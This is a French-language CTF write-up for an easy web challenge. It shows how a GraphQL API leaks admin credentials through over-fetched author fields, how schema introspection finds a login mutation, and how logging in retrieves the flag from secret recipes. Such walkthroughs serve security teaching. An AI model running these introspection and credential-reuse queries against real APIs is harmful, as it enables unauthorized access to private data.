Writeup – Brunner's Bakery
- CTF :
Brunner - Catégorie :
Web - Format du flag :
brunner{...} - Difficulté :
Facile - Auteur :
DonAsako
Contexte
Le site Brunner’s Bakery expose des recettes via une API GraphQL accessible depuis /graphql. L’objectif est d’explorer cette API pour trouver des informations sensibles et récupérer le flag.
Observations initiales
En inspectant le code de la page principale, on observe un appel à l'API GraphQL :
fetch('/graphql', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({
query: 'query { publicRecipes { name description author { displayName } ingredients { name } } }'
})
})
.then(res => res.json())
.then(data => { /* affichage des recettes */ });
Le endpoint /graphql contient un GraphQL Playground.
En interrogeant l'API, on remarque que certaines informations sont accessibles :
{
publicRecipes{
author {
username
privateNotes
notes
}
}
}
On obtient par exemple :
{
"data": {
"publicRecipes": [
{
"author": {
"username": "sally",
"privateNotes": null,
"notes": "TODO: Remove temporary credentials... brunner_admin:Sw33tT00Th321?"
}
}
]
}
}
On y trouve des identifiants temporaires pour brunner_admin.
Exploration des mutations
On effectue une introspection des mutations disponibles :
query {
__schema {
mutationType {
name
fields {
name
args { name type { ...TypeRef } }
}
}
}
}
fragment TypeRef on __Type { /* récursif */ }
Résultat : la mutation login(username, password) est disponible.
Connexion avec le compte admin
mutation {
login(username:"brunner_admin", password:"Sw33tT00Th321?"){
user { displayName }
token
}
}
Réponse :
{
"data": {
"login": {
"user": { "displayName": "Brunner Admin" },
"token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..."
}
}
}
Récupération du flag
Avec l’admin connecté, on peut interroger les recettes secrètes :
{
secretRecipes {
isSecret
name
description
author { username displayName email notes privateNotes }
ingredients {
name
supplier {
name
owner { username displayName email notes privateNotes }
}
}
}
}
Le flag se trouve dans privateNotes de grandmaster_brunner :
"privateNotes": "brunner{Gr4phQL_1ntR0sp3ct10n_G035_R0UnD_4Nd_r0uND}"
Flag
brunner{Gr4phQL_1ntR0sp3ct10n_G035_R0UnD_4Nd_r0uND}